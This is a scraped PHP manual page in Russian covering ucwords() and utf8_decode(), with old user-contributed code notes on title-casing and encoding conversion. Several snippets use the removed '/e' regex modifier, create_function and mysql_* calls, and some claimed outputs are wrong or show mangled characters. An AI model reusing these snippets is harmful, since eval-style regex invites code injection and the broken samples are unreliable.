            $return .= $s . mb_strtoupper($val{0}) . mb_substr($val,1,mb_strlen($val)-1);
        }
        $str = mb_substr($return, 1);
    }

    foreach($exceptions as $find=>$replace){
        if (mb_strpos($return, $find) !== false){
            $return = str_replace($find, $replace, $return);
        }
    }
    return mb_substr($return, 1);
}
kendsnyder at gmail dot com 30-Jul-2007 01:02
Here is a function to capitalize a last name, accounting for hyphens, apostrophes, "Mc" and "Mac":

<?php
function CapitalizeLastName($name) {
    $name = strtolower($name);
    $name = join("'", array_map('ucwords', explode("'", $name)));
    $name = join("-", array_map('ucwords', explode("-", $name)));
    $name = join("Mac", array_map('ucwords', explode("Mac", $name)));
    $name = join("Mc", array_map('ucwords', explode("Mc", $name)));
    return $name;
}
?>

I speed tested it against functions that used preg_replace() with an "e" modifier, preg_replace_callback(), and a character-by-character parsing.  Unexpectedly, this function using join(), array_map() and explode() was fastest.
Q1712 at online dot ms 05-May-2007 12:49
ucwords() only excepts whitespace in front of a word, although some chars like '"' or '(' normally have no space between them and the following word:
<?php
$title = 'ELVIS "THE KING" PRESLEY - (LET ME BE YOUR) TEDDY BEAR';
echo ucwords(strtolower($title));
?>
prints: Elvis "the King" Presley - (let Me Be Your) Teddy Bear

To avoid this i use a small function adding and deleting blanks behind these chars, and using ucwords() in between:

<?php
function my_ucwords($string)
  {
    $noletters='"([/'; //add more if u need to
    for($i=0; $i<strlen($noletters); $i++)
      $string = str_replace($noletters[$i], $noletters[$i].' ', $string);
    $string=ucwords($string);
    for($i=0; $i<strlen($noletters); $i++)
      $string = str_replace($noletters[$i].' ', $noletters[$i], $string);
    return $string;
  }

$title = 'ELVIS "THE KING" PRESLEY - (LET ME BE YOUR) TEDDY BEAR';
echo my_ucwords(strtolower($title));
?>

prints: Elvis "The King" Presley - (Let Me Be Your) Teddy Bear
barnaby ritchley at exeye dot co dot uk 03-Jan-2007 08:53
A very easy way to convert to title case:

function titleCase($string)
     {
     return ucwords(strtolower($string));
     }

$myString = "SOME TEXT";

echo titleCase($myString);

//will print, "My Text"
Ismet Togay 30-May-2006 05:07
Response to arif:

We do not need that long functions. In order to make ucwords() worked properly in Turkish words that contain speacial characters, we can use the following command in our php codes:

setlocale(LC_ALL, 'tr_TR');

This will set locale to Turkish.
lev at phpfox dot com 06-May-2006 01:44
In the function ucsmart() posted by ieure at php dot net on 04-Dec-2005 11:57, I found a similar problem in this function to what he found in igua's.

<?php
function ucsmart($text)
{
   return preg_replace('/([^a-z]|^)([a-z])/e', '"$1".strtoupper("$2")',
                       strtolower($text));
}
?>

"igua's code adds a backslash in front of the first single quote for me. This doesn't alter the content in any way other than changing case."

Actually, it did end up changing the content for me (php 5.0.4) in the way that this function escapes a single quotation (apostrophe) in the MIDDLE of a word.

For example:

who's online?

Became:

Who\'s Online?

The fix is simple however, and merely requires fine-tuning the regular expression:

<?php
function ucsmart($text)
{
   return preg_replace('/([^a-z\']|^)([a-z])/e', '"$1".strtoupper("$2")',
                       strtolower($text));
}
?>

(note: while previewing this note before adding it, I am noticing php's website is not correctly displaying the change I made as I wrote it. After the first a-z in the expression, the single quotation should be escaped... If it isn't you will get a parse error! And apoligies if my text here is colored as php code; not my fault!)

This will not escape a single quotation mark which occurs in the middle of a word... Though, you may find that might need to add other characters inside the regular expression if you use other special characters inside your words and if you get funky output.

It's a great expression though! Simple, yet very powerful. Kudos!
24-Dec-2005 07:34
"ieure at php dot net", your idea is pure poetry!

The function below will standardize the capitalization on people's names and the titles of reports and essays . You may need to adapt the lists in "$all_uppercase" and "$all_lowercase" to suit the data that you are working with.

function my_ucwords($str, $is_name=false) {
   // exceptions to standard case conversion
   if ($is_name) {
       $all_uppercase = '';
       $all_lowercase = 'De La|De Las|Der|Van De|Van Der|Vit De|Von|Or|And';
   } else {
       // addresses, essay titles ... and anything else
       $all_uppercase = 'Po|Rr|Se|Sw|Ne|Nw';
       $all_lowercase = 'A|And|As|By|In|Of|Or|To';
   }
   $prefixes = 'Mc';
   $suffixes = "'S";

   // captialize all first letters
   $str = preg_replace('/\\b(\\w)/e', 'strtoupper("$1")', strtolower(trim($str)));

   if ($all_uppercase) {
       // capitalize acronymns and initialisms e.g. PHP
       $str = preg_replace("/\\b($all_uppercase)\\b/e", 'strtoupper("$1")', $str);
   }
   if ($all_lowercase) {
       // decapitalize short words e.g. and
       if ($is_name) {
           // all occurences will be changed to lowercase
           $str = preg_replace("/\\b($all_lowercase)\\b/e", 'strtolower("$1")', $str);
       } else {
           // first and last word will not be changed to lower case (i.e. titles)
           $str = preg_replace("/(?<=\\W)($all_lowercase)(?=\\W)/e", 'strtolower("$1")', $str);
       }
   }
   if ($prefixes) {
       // capitalize letter after certain name prefixes e.g 'Mc'
       $str = preg_replace("/\\b($prefixes)(\\w)/e", '"$1".strtoupper("$2")', $str);
   }
   if ($suffixes) {
       // decapitalize certain word suffixes e.g. 's
       $str = preg_replace("/(\\w)($suffixes)\\b/e", '"$1".strtolower("$2")', $str);
   }
   return $str;
}

// A name example
print my_ucwords("MARIE-LOU VAN DER PLANCK-ST.JOHN", true);
// Output: Marie-Lou van der Planc-St.John

// A title example
print my_ucwords("to be or not to be");
// Output: "To Be or Not to Be"
deepdene at email dot com 09-Dec-2002 11:20
A function knowing about name case (i.e. caps on McDonald etc)

function name_case($name)
{
    $newname = strtoupper($name[0]);
    for ($i=1; $i < strlen($name); $i++)
    {
        $subed = substr($name, $i, 1);
        if (((ord($subed) > 64) && (ord($subed) < 123)) ||
            ((ord($subed) > 48) && (ord($subed) < 58)))
        {
            $word_check = substr($name, $i - 2, 2);
            if (!strcasecmp($word_check, 'Mc') || !strcasecmp($word_check, "O'"))
            {
                $newname .= strtoupper($subed);
            }
            else if ($break)
            {

                $newname .= strtoupper($subed);
            }
            else
            {
                $newname .= strtolower($subed);
            }
             $break=0;
        }
        else
        {
            // not a letter - a boundary
             $newname .= $subed;
            $break=1;
        }
    }
    return $newname;
}
18-Jan-2002 06:14
This seems to be what people want:

function uc_all($string) {
    $temp = preg_split('/(\W)/', $string, -1, PREG_SPLIT_DELIM_CAPTURE );
    foreach ($temp as $key=>$word) {
        $temp[$key] = ucfirst(strtolower($word));
    }
    return join ('', $temp);
}

[ed note: fixed the code to be correct]
neil at no-spam-ents24 dot com 21-Mar-2001 05:10
The code posted above by Joerg Krause only works for a string which ends with one of the delimiters. A possible fix is:

<?php
$text = "What?No delimiters,shit happens here.this solves all problems.";
preg_match_all("/(\w+[,. ?])+/U", $text, $words);
preg_match("/(\w+)$/", $text, $lastword);
$words[0][] = $lastword;
foreach($words[0] as $part) $uwords[] = ucfirst($part);
$text = implode("", $uwords);
echo $text;
?>


Преобразовывает строку из кодировки UTF-8 в кодировку ISO-8859-1, заменяя недопустимые или непредставимые символы

  • « ucwords
  • utf8_encode »
  • PHP Manual
  • Функции для работы со строками
  • Преобразовывает строку из кодировки UTF-8 в кодировку ISO-8859-1, заменяя недопустимые или непредставимые символы

utf8_decode

(PHP 4, PHP 5, PHP 7, PHP 8)

utf8_decode — Преобразовывает строку из кодировки UTF-8 в кодировку ISO-8859-1, заменяя недопустимые или непредставимые символы

Внимание

Функция объявлена УСТАРЕВШЕЙ начиная с PHP 8.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

utf8_decode(string $string): string

Функция преобразовывает строку string из кодировки UTF-8 в кодировку ISO-8859-1. Байты в строке, которые не соответствуют корректным символам UTF-8 и символам UTF-8, которые не существуют в ISO-8859-1 (то есть кодовые точки выше U+00FF), будут заменены на символ ?.

Замечание:

Многие веб-страницы, отмеченные как использующие кодировку ISO-8859-1, на самом деле используют схожую кодировку Windows-1252, и веб-браузеры интерпретируют страницы ISO-8859-1 как Windows-1252. Однако Windows-1252 содержит дополнительные печатные символы, такие как знак Евро (€) и фигурные кавычки (" ") вместо управляющих кодов ISO-8859-1. Эта функция не конвертирует такие символы Windows-1252 корректно. Используйте другую функцию, если нужна конвертация в Windows-1252.

Список параметров

string

Строка, закодированная в UTF-8.

Возвращаемые значения

Возвращает данные параметра string, переведённые в кодировку ISO-8859-1.

Список изменений

Версия | Описание
8.2.0 | Функция объявлена устаревшей.
7.2.0 | Функция была перенесена из модуля XML в ядро PHP. В предыдущих версиях она была доступна только при установленном модуле XML.

Примеры

Пример #1 Простой пример

<?php
// Преобразование строки 'Zoe' из UTF-8 в ISO 8859-1
$utf8_string = "\x5A\x6F\xC3\xAB";
$iso8859_1_string = utf8_decode($utf8_string);
echo bin2hex($iso8859_1_string), "\n";

// Неправильные последовательности UTF-8 заменяются на '?'
$invalid_utf8_string = "\xC3";
$iso8859_1_string = utf8_decode($invalid_utf8_string);
var_dump($iso8859_1_string);

// Символы, не существующие в ISO 8859-1, такие как
// '€' (Знак евро) также заменяются на '?'
$utf8_string = "\xE2\x82\xAC";
$iso8859_1_string = utf8_decode($utf8_string);
var_dump($iso8859_1_string);
?>

Результат выполнения приведённого примера:

5a6feb
string(1) "?"
string(1) "?"

Примечания

Замечание: Устаревание и альтернативы

Функция устарела, начиная с PHP 8.2.0 и будет удалена в будущей версии. Существующие варианты использования должны быть проверены и заменены подходящими альтернативами.

Аналогичной функциональности можно достичь с помощью функции mb_convert_encoding(), которая поддерживает ISO-8859-1 и многие другие кодировки символов.

<?php
$utf8_string = "\xC3\xAB"; // 'e' (e с диерезисом) в UTF-8
$iso8859_1_string = mb_convert_encoding($utf8_string, 'ISO-8859-1', 'UTF-8');
echo bin2hex($iso8859_1_string), "\n";

$utf8_string = "\xCE\xBB"; // '?' (Греческая строчная лямбда) в UTF-8
$iso8859_7_string = mb_convert_encoding($utf8_string, 'ISO-8859-7', 'UTF-8');
echo bin2hex($iso8859_7_string), "\n";

$utf8_string = "\xE2\x82\xAC"; // '€' (Символ евро) в UTF-8 (отсутствует в ISO-8859-1)
$windows_1252_string = mb_convert_encoding($utf8_string, 'Windows-1252', 'UTF-8');
echo bin2hex($windows_1252_string), "\n";
?>

Результат выполнения приведённого примера:

eb
eb
80

Другие опции, которые могут быть доступны в зависимости от установленных модулей: UConverter::transcode() и iconv().

Все следующие варианты дают один и тот же результат:

<?php
$utf8_string = "\x5A\x6F\xC3\xAB"; // 'Zoe' в UTF-8
$iso8859_1_string = utf8_decode($utf8_string);
echo bin2hex($iso8859_1_string), "\n";

$iso8859_1_string = mb_convert_encoding($utf8_string, 'ISO-8859-1', 'UTF-8');
echo bin2hex($iso8859_1_string), "\n";

$iso8859_1_string = iconv('UTF-8', 'ISO-8859-1', $utf8_string);
echo bin2hex($iso8859_1_string), "\n";

$iso8859_1_string = UConverter::transcode($utf8_string, 'ISO-8859-1', 'UTF8');
echo bin2hex($iso8859_1_string), "\n";
?>

Результат выполнения приведённого примера:

5a6feb
5a6feb
5a6feb
5a6feb
Указание '?' в качестве опции 'to_subst' в методе UConverter::transcode() даёт тот же результат, что и функция utf8_decode() для строк, которые являются недопустимыми или не могут быть представлены в ISO 8859-1.
<?php
$utf8_string = "\xE2\x82\xAC"; // € (Символ евро) отсутствует в ISO-8859-1
$iso8859_1_string = UConverter::transcode(
$utf8_string, 'ISO-8859-1', 'UTF-8', ['to_subst' => '?']
);
var_dump($iso8859_1_string);
?>

Результат выполнения приведённого примера:

sring(1) "?"

Смотрите также

  • utf8_encode() - Преобразовывает строку из ISO-8859-1 в UTF-8
  • mb_convert_encoding() - Преобразовывает строку из одной кодировки символов в другую
  • UConverter::transcode() - Преобразовывает строку из одной кодировки символов в другую
  • iconv() - Преобразовывает строку из одной кодировки символов в другую

User Contributed Notes

jamalmarlone at gmail dot com 29-Mar-2023 11:33
$string = "BjA?rn Johansen";

echo mb_convert_encoding($string, 'ISO-8859-1', 'UTF-8');

----
prints: "Bjorn Johansen"
Aleksandr 30-Jun-2017 02:46
In addition to note by yannikh at gmeil dot com, another way to decode strings with non-latin chars from unix console like

C=RU, L=\xD0\x9C\xD0\xBE\xD1\x81\xD0\xBA\xD0\xB2\xD0\xB0,

<?php preg_replace_callback('/\\\\x([0-9A-F]{2})/', function($a){ return pack('H*', $a[1]); }, $str); ?>

The code above will output:
C=RU, L=Москва,
kode68 02-May-2016 06:09
Update Answer from okx dot oliver dot koenig at gmail dot com for PHP 5.6 since e/ modifier is depreciated

// This finally helped me to do the job, thanks to Blackbit, had to modify deprecated ereg:
// original comment: "Squirrelmail contains a nice function in the sources to convert unicode to entities:"

function charset_decode_utf_8($string)
    {
        /* Only do the slow convert if there are 8-bit characters */
        if ( !preg_match("/[\200-\237]/", $string) && !preg_match("/[\241-\377]/", $string) )
               return $string;

        // decode three byte unicode characters
          $string = preg_replace_callback("/([\340-\357])([\200-\277])([\200-\277])/",
                    create_function ('$matches', 'return \'&#\'.((ord($matches[1])-224)*4096+(ord($matches[2])-128)*64+(ord($matches[3])-128)).\';\';'),
                    $string);

        // decode two byte unicode characters
          $string = preg_replace_callback("/([\300-\337])([\200-\277])/",
                    create_function ('$matches', 'return \'&#\'.((ord($matches[1])-192)*64+(ord($matches[2])-128)).\';\';'),
                    $string);

        return $string;
    }

Enjoy
okx dot oliver dot koenig at gmail dot com 08-Feb-2015 11:48
// This finally helped me to do the job, thanks to Blackbit, had to modify deprecated ereg:
// original comment: "Squirrelmail contains a nice function in the sources to convert unicode to entities:"

function charset_decode_utf_8 ($string) {
    /* Only do the slow convert if there are 8-bit characters */
    /* avoid using 0xA0 (\240) in ereg ranges. RH73 does not like that */
    if (!preg_match("/[\200-\237]/", $string)
     && !preg_match("/[\241-\377]/", $string)
    ) {
        return $string;
    }

    // decode three byte unicode characters
    $string = preg_replace("/([\340-\357])([\200-\277])([\200-\277])/e",
        "'&#'.((ord('\\1')-224)*4096 + (ord('\\2')-128)*64 + (ord('\\3')-128)).';'",
        $string
    );

    // decode two byte unicode characters
    $string = preg_replace("/([\300-\337])([\200-\277])/e",
        "'&#'.((ord('\\1')-192)*64+(ord('\\2')-128)).';'",
        $string
    );

    return $string;
}
sashott at gmail dot com 04-Dec-2014 11:57
Use of utf8_decode was not enough for me by get page content from another site. Problem appear by different alphabet from standard latin. As example some chars (corresponding to HTML codes &bdquo; , &nbsp; and others) are converted to "?" or "xA0" (hex value). You need to make some conversion before execute utf8_decode. And you can not replace simple, that they can be part of 2 bytes code for a char (UTF-8 use 2 bytes). Next is for cyrillic alphabet, but for other must be very close.

function convertMethod($text){
    //Problem is that utf8_decode convert HTML chars for &bdquo; and other to ? or &nbsp; to \xA0. And you can not replace, that they are in some char bytes and you broke cyrillic (or other alphabet) chars.
    $problem_enc=array(
        'euro',
        'sbquo',
        'bdquo',
        'hellip',
        'dagger',
        'Dagger',
        'permil',
        'lsaquo',
        'lsquo',
        'rsquo',
        'ldquo',
        'rdquo',
        'bull',
        'ndash',
        'mdash',
        'trade',
        'rsquo',
        'brvbar',
        'copy',
        'laquo',
        'reg',
        'plusmn',
        'micro',
        'para',
        'middot',
        'raquo',
        'nbsp'
    );
    $text=mb_convert_encoding($text,'HTML-ENTITIES','UTF-8');
    $text=preg_replace('#(?<!\&ETH;)\&('.implode('|',$problem_enc).');#s','--amp{$1}',$text);
    $text=mb_convert_encoding($text,'UTF-8','HTML-ENTITIES');
    $text=utf8_decode($text);
    $text=mb_convert_encoding($text,'HTML-ENTITIES','UTF-8');
    $text=preg_replace('#\-\-amp\{([^\}]+)\}#su','&$1;',$text);
    $text=mb_convert_encoding($text,'UTF-8','HTML-ENTITIES');
    return $text;
}

If this don't work, try to set "die($text);" on some places to look, what is happen to this row. Is better to test with long text. It is very possible to broke other alphabet character. In this case, it is very possible, that for you alphabet set "&ETH;" is not the right one. You need to set "die($text);" after this preg_replace and look HTML code for character before set "--amp".
christoffer 29-Oct-2012 10:35
The preferred way to use this on an array would be with the built in PHP function "array_map()", as for example:
$array = array_map("utf8_decode", $array);
deceze at gmail dot com 14-Jul-2011 07:01
Please note that utf8_decode simply converts a string encoded in UTF-8 to ISO-8859-1. A more appropriate name for it would be utf8_to_iso88591. If your text is already encoded in ISO-8859-1, you do not need this function. If you don't want to use ISO-8859-1, you do not need this function.

Note that UTF-8 can represent many more characters than ISO-8859-1. Trying to convert a UTF-8 string that contains characters that can't be represented in ISO-8859-1 to ISO-8859-1 will garble your text and/or cause characters to go missing. Trying to convert text that is not encoded in UTF-8 using this function will most likely garble the text.

If you need to convert any text from any encoding to any other encoding, look at iconv() instead.
gabriel arobase gabsoftware dot com 12-Jun-2011 08:41
If you want to retrieve some UTF-8 data from your database, you don't need utf8_decode().

Simply do the following query before any SELECT :

$result = mysql_query("SET NAMES utf8");
info at vanylla dot it 26-Jan-2009 12:21
IMPORTANT: when converting UTF8 data that contains the EURO sign DON'T USE utf_decode function.

utf_decode converts the data into ISO-8859-1 charset. But ISO-8859-1 charset does not contain the EURO sign, therefor the EURO sign will be converted into a question mark character '?'

In order to convert properly UTF8 data with EURO sign you must use:

iconv("UTF-8", "CP1252", $data)
Blackbit 12-Aug-2008 04:40
Squirrelmail contains a nice function in the sources to convert unicode to entities:

<?php
function charset_decode_utf_8 ($string) {
      /* Only do the slow convert if there are 8-bit characters */
    /* avoid using 0xA0 (\240) in ereg ranges. RH73 does not like that */
    if (! ereg("[\200-\237]", $string) and ! ereg("[\241-\377]", $string))
        return $string;

    // decode three byte unicode characters
    $string = preg_replace("/([\340-\357])([\200-\277])([\200-\277])/e",        \
    "'&#'.((ord('\\1')-224)*4096 + (ord('\\2')-128)*64 + (ord('\\3')-128)).';'",    \
    $string);

    // decode two byte unicode characters
    $string = preg_replace("/([\300-\337])([\200-\277])/e", \
    "'&#'.((ord('\\1')-192)*64+(ord('\\2')-128)).';'", \
    $string);

    return $string;
}
?>
punchivan at gmail dot com 24-Jun-2008 02:13
EY! the bug is not in the function 'utf8_decode'. The bug is in the function 'mb_detect_encoding'. If you put a word with a special char at the end like this 'accentue', that will lead to a wrong result (UTF-8) but if you put another char at the end like this 'accentuee' you will get it right. So you should always add a ISO-8859-1 character to your string for this check. My advise is to use a blank space.
I?ve tried it and it works!

function ISO_convert($array)
{
    $array_temp = array();

    foreach($array as $name => $value)
    {
        if(is_array($value))
          $array_temp[(mb_detect_encoding($name." ",'UTF-8,ISO-8859-1') == 'UTF-8' ? utf8_decode($name) : $name )] = ISO_convert($value);
        else
          $array_temp[(mb_detect_encoding($name." ",'UTF-8,ISO-8859-1') == 'UTF-8' ? utf8_decode($name) : $name )] = (mb_detect_encoding($value." ",'UTF-8,ISO-8859-1') == 'UTF-8' ? utf8_decode($value) : $value );
    }

    return $array_temp;
}
haugas at gmail dot com 08-May-2008 02:11
If you don't know exactly, how many times your string is encoded, you can use this function:

<?php

function _utf8_decode($string)
{
  $tmp = $string;
  $count = 0;
  while (mb_detect_encoding($tmp)=="UTF-8")
  {
    $tmp = utf8_decode($tmp);
    $count++;
  }

  for ($i = 0; $i < $count-1 ; $i++)
  {
    $string = utf8_decode($string);

  }
  return $string;

}

?>
lukasz dot mlodzik at gmail dot com 05-Mar-2008 04:46
Update to MARC13 function utf2iso()
I'm using it to handle AJAX POST calls.
Despite using
http.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'; charset='utf-8');
it still code Polish letters using UTF-16

This is only for Polish letters:

<?php
function utf16_2_utf8 ($nowytekst) {
        $nowytekst = str_replace('%u0104','A',$nowytekst);    //A
        $nowytekst = str_replace('%u0106','C',$nowytekst);    //C
        $nowytekst = str_replace('%u0118','E',$nowytekst);    //E
        $nowytekst = str_replace('%u0141','L',$nowytekst);    //L
        $nowytekst = str_replace('%u0143','N',$nowytekst);    //N
        $nowytekst = str_replace('%u00D3','O',$nowytekst);    //O
        $nowytekst = str_replace('%u015A','S',$nowytekst);    //S
        $nowytekst = str_replace('%u0179','Z',$nowytekst);    //Z
        $nowytekst = str_replace('%u017B','Z',$nowytekst);    //Z

        $nowytekst = str_replace('%u0105','a',$nowytekst);    //a
        $nowytekst = str_replace('%u0107','c',$nowytekst);    //c
        $nowytekst = str_replace('%u0119','e',$nowytekst);    //e
        $nowytekst = str_replace('%u0142','l',$nowytekst);    //l
        $nowytekst = str_replace('%u0144','n',$nowytekst);    //n
        $nowytekst = str_replace('%u00F3','o',$nowytekst);    //o
        $nowytekst = str_replace('%u015B','s',$nowytekst);    //s
        $nowytekst = str_replace('%u017A','z',$nowytekst);    //z
        $nowytekst = str_replace('%u017C','z',$nowytekst);    //z
   return ($nowytekst);
   }
?>

Everything goes smooth, but it doesn't change '%u00D3','O' and '%u00F3','o'. I dont have idea what to do with that.

Remember! File must be saved in UTF-8 coding.
ludvig dot ericson at gmail dot com 15-Jul-2007 10:52
A better way to convert would be to use iconv, see http://www.php.net/iconv -- example:

<?php
$myUnicodeString = "Aao";
echo iconv("UTF-8", "ISO-8859-1", $myUnicodeString);
?>

Above would echo out the given variable in ISO-8859-1 encoding, you may replace it with whatever you prefer.

Another solution to the issue of misdisplayed glyphs is to simply send the document as UTF-8, and of course send UTF-8 data:

<?php
# Replace text/html with whatever MIME-type you prefer.
header("Content-Type: text/html; CHARSET=Windows-1251");
?>
MARC13 07-Jul-2007 07:50
I did this function to convert data from AJAX call to insert to my database.
It converts UTF-8 from XMLHttpRequest() to ISO-8859-2 that I use in LATIN2 MySQL database.

<?php
function utf2iso($tekst)
{
        $nowytekst = str_replace("%u0104","\xA1",$tekst);    //A
        $nowytekst = str_replace("%u0106","\xC6",$nowytekst);    //C
        $nowytekst = str_replace("%u0118","\xCA",$nowytekst);    //E
        $nowytekst = str_replace("%u0141","\xA3",$nowytekst);    //L
        $nowytekst = str_replace("%u0143","\xD1",$nowytekst);    //N
        $nowytekst = str_replace("%u00D3","\xD3",$nowytekst);    //O
        $nowytekst = str_replace("%u015A","\xA6",$nowytekst);    //S
        $nowytekst = str_replace("%u0179","\xAC",$nowytekst);    //Z
        $nowytekst = str_replace("%u017B","\xAF",$nowytekst);    //Z

        $nowytekst = str_replace("%u0105","\xB1",$nowytekst);    //a
        $nowytekst = str_replace("%u0107","\xE6",$nowytekst);    //c
        $nowytekst = str_replace("%u0119","\xEA",$nowytekst);    //e
        $nowytekst = str_replace("%u0142","\xB3",$nowytekst);    //l
        $nowytekst = str_replace("%u0144","\xF1",$nowytekst);    //n
        $nowytekst = str_replace("%u00D4","\xF3",$nowytekst);    //o
        $nowytekst = str_replace("%u015B","\xB6",$nowytekst);    //s
        $nowytekst = str_replace("%u017A","\xBC",$nowytekst);    //z
        $nowytekst = str_replace("%u017C","\xBF",$nowytekst);    //z

    return ($nowytekst);
}
?>

In my case also the code file that deals with AJAX calls must be in UTF-8 coding.
visus at portsonline dot net 23-Jun-2007 09:08
Following code helped me with mixed (UTF8+ISO-8859-1(x)) encodings. In this case, I have template files made and maintained by designers who do not care about encoding and MySQL data in utf8_binary_ci encoded tables.

<?php

class Helper
{
    function strSplit($text, $split = 1)
    {
        if (!is_string($text)) return false;
        if (!is_numeric($split) && $split < 1) return false;

        $len = strlen($text);

        $array = array();

        $i = 0;

        while ($i < $len)
        {
            $key = NULL;

            for ($j = 0; $j < $split; $j += 1)
            {
                $key .= $text{$i};

                $i += 1;
            }

            $array[] = $key;
        }

        return $array;
    }

    function UTF8ToHTML($str)
    {
        $search = array();
        $search[] = "/([\\xC0-\\xF7]{1,1}[\\x80-\\xBF]+)/e";
        $search[] = "/&#228;/";
        $search[] = "/&#246;/";
        $search[] = "/&#252;/";
        $search[] = "/&#196;/";
        $search[] = "/&#214;/";
        $search[] = "/&#220;/";
        $search[] = "/&#223;/";

        $replace = array();
        $replace[] = 'Helper::_UTF8ToHTML("\\1")';
        $replace[] = "a";
        $replace[] = "o";
        $replace[] = "u";
        $replace[] = "A";
        $replace[] = "O";
        $replace[] = "u";
        $replace[] = "?";

        $str = preg_replace($search, $replace, $str);

        return $str;
    }

    function _UTF8ToHTML($str)
    {
        $ret = 0;

        foreach((Helper::strSplit(strrev(chr((ord($str{0}) % 252 % 248 % 240 % 224 % 192) + 128).substr($str, 1)))) as $k => $v)
            $ret += (ord($v) % 128) * pow(64, $k);
        return "&#".$ret.";";
    }
}

// Usage example:

$tpl = file_get_contents("template.tpl");
/* ... */
$row = mysql_fetch_assoc($result);

print(Helper::UTF8ToHTML(str_replace("{VAR}", $row['var'], $tpl)));

?>
luka8088 at gmail dot com 22-Jun-2007 07:03
simple UTF-8 to HTML conversion:

function utf8_to_html ($data)
    {
    return preg_replace("/([\\xC0-\\xF7]{1,1}[\\x80-\\xBF]+)/e", '_utf8_to_html("\\1")', $data);
    }

function _utf8_to_html ($data)
    {
    $ret = 0;
    foreach((str_split(strrev(chr((ord($data{0}) % 252 % 248 % 240 % 224 % 192) + 128) . substr($data, 1)))) as $k => $v)
        $ret += (ord($v) % 128) * pow(64, $k);
    return "&#$ret;";
    }

Example:
echo utf8_to_html("a b c c z ? ? ? ? ()[]{}!#$?*");

Output:
a b &#269; &#263; &#382; &#12371; &#12395; &#12385; &#12431; ()[]{}!#$?*
Sadi 13-Jun-2007 03:38
Once again about polish letters. If you use fananf's solution, make sure that PHP file is coded with cp1250 or else it won't work. It's quite obvious, however I spent some time before I finally figured that out, so I thought I post it here.
alexlevin at kvadro dot net 20-May-2007 08:20
If you running Gentoo Linux and encounter problems with some PHP4 applications saying:
Call to undefined function: utf8_decode()
Try reemerge PHP4 with 'expat' flag enabled.
sam 06-Feb-2007 08:20
In addition to yannikh's note, to convert a hex utf8 string

<?php

echo utf8_decode("\x61\xc3\xb6\x61");
// works as expected

$abc="61c3b661";
$newstr = "";
$l = strlen($abc);
for ($i=0;$i<$l;$i+=2){
    $newstr .= "\x".$abc[$i].$abc[$i+1];
}
echo utf8_decode($newstr);
// or varieties  of "\x": "\\x" etc does NOT output what you want

echo utf8_decode(pack('H*',$abc));
// this outputs the correct string, like the first line.

?>
Ajgor 28-Dec-2006 05:38
small upgrade for polish decoding:

function utf82iso88592($text) {
 $text = str_replace("\xC4\x85", 'a', $text);
 $text = str_replace("\xC4\x84", 'A', $text);
 $text = str_replace("\xC4\x87", 'c', $text);
 $text = str_replace("\xC4\x86", 'C', $text);
 $text = str_replace("\xC4\x99", 'e', $text);
 $text = str_replace("\xC4\x98", 'E', $text);
 $text = str_replace("\xC5\x82", 'l', $text);
 $text = str_replace("\xC5\x81", 'L', $text);
 $text = str_replace("\xC3\xB3", 'o', $text);
 $text = str_replace("\xC3\x93", 'O', $text);
 $text = str_replace("\xC5\x9B", 's', $text);
 $text = str_replace("\xC5\x9A", 'S', $text);
 $text = str_replace("\xC5\xBC", 'z', $text);
 $text = str_replace("\xC5\xBB", 'Z', $text);
 $text = str_replace("\xC5\xBA", 'z', $text);
 $text = str_replace("\xC5\xB9", 'Z', $text);
 $text = str_replace("\xc5\x84", 'n', $text);
 $text = str_replace("\xc5\x83", 'N', $text);

return $text;
} // utf82iso88592
paul.hayes at entropedia.co.uk 27-Oct-2006 07:10
I noticed that the utf-8 to html functions below are only for 2 byte long codes. Well I wanted 3 byte support (sorry haven't done 4, 5 or 6). Also I noticed the concatination of the character codes did have the hex prefix 0x and so failed with the large 2 byte codes)

<?
  public function utf2html (&$str) {

    $ret = "";
    $max = strlen($str);
    $last = 0;  // keeps the index of the last regular character
    for ($i=0; $i<$max; $i++) {
        $c = $str{$i};
        $c1 = ord($c);
        if ($c1>>5 == 6) {  // 110x xxxx, 110 prefix for 2 bytes unicode
            $ret .= substr($str, $last, $i-$last); // append all the regular characters we've passed
            $c1 &= 31; // remove the 3 bit two bytes prefix
            $c2 = ord($str{++$i}); // the next byte
            $c2 &= 63;  // remove the 2 bit trailing byte prefix
            $c2 |= (($c1 & 3) << 6); // last 2 bits of c1 become first 2 of c2
            $c1 >>= 2; // c1 shifts 2 to the right
            $ret .= "&#" . ($c1 * 0x100 + $c2) . ";"; // this is the fastest string concatenation
            $last = $i+1;
        }
        elseif ($c1>>4 == 14) {  // 1110 xxxx, 110 prefix for 3 bytes unicode
            $ret .= substr($str, $last, $i-$last); // append all the regular characters we've passed
            $c2 = ord($str{++$i}); // the next byte
            $c3 = ord($str{++$i}); // the third byte
            $c1 &= 15; // remove the 4 bit three bytes prefix
            $c2 &= 63;  // remove the 2 bit trailing byte prefix
            $c3 &= 63;  // remove the 2 bit trailing byte prefix
            $c3 |= (($c2 & 3) << 6); // last 2 bits of c2 become first 2 of c3
            $c2 >>=2; //c2 shifts 2 to the right
            $c2 |= (($c1 & 15) << 4); // last 4 bits of c1 become first 4 of c2
            $c1 >>= 4; // c1 shifts 4 to the right
            $ret .= '&#' . (($c1 * 0x10000) + ($c2 * 0x100) + $c3) . ';'; // this is the fastest string concatenation
            $last = $i+1;
        }
    }
    $str=$ret . substr($str, $last, $i); // append the last batch of regular characters
}
?>
tobias at code-x dot de 20-Oct-2006 05:13
converting uft8-html sign &#301; to uft8

<?
function uft8html2utf8( $s ) {
        if ( !function_exists('uft8html2utf8_callback') ) {
             function uft8html2utf8_callback($t) {
                     $dec = $t[1];
            if ($dec < 128) {
              $utf = chr($dec);
            } else if ($dec < 2048) {
              $utf = chr(192 + (($dec - ($dec % 64)) / 64));
              $utf .= chr(128 + ($dec % 64));
            } else {
              $utf = chr(224 + (($dec - ($dec % 4096)) / 4096));
              $utf .= chr(128 + ((($dec % 4096) - ($dec % 64)) / 64));
              $utf .= chr(128 + ($dec % 64));
            }
            return $utf;
             }
        }
        return preg_replace_callback('|&#([0-9]{1,});|', 'uft8html2utf8_callback', $s );
}
echo uft8html2utf8('test: &#301;');
?>
2ge at NO2geSPAM dot us 26-Jan-2006 01:00
Hello all,

I like to use COOL (nice) URIs, example: http://example.com/try-something
I'm using UTF8 as input, so I have to write a function UTF8toASCII to have nice URI. Here is what I come with:

<?php
function urlize($url) {
 $search = array('/[^a-z0-9]/', '/--+/', '/^-+/', '/-+$/' );
 $replace = array( '-', '-', '', '');
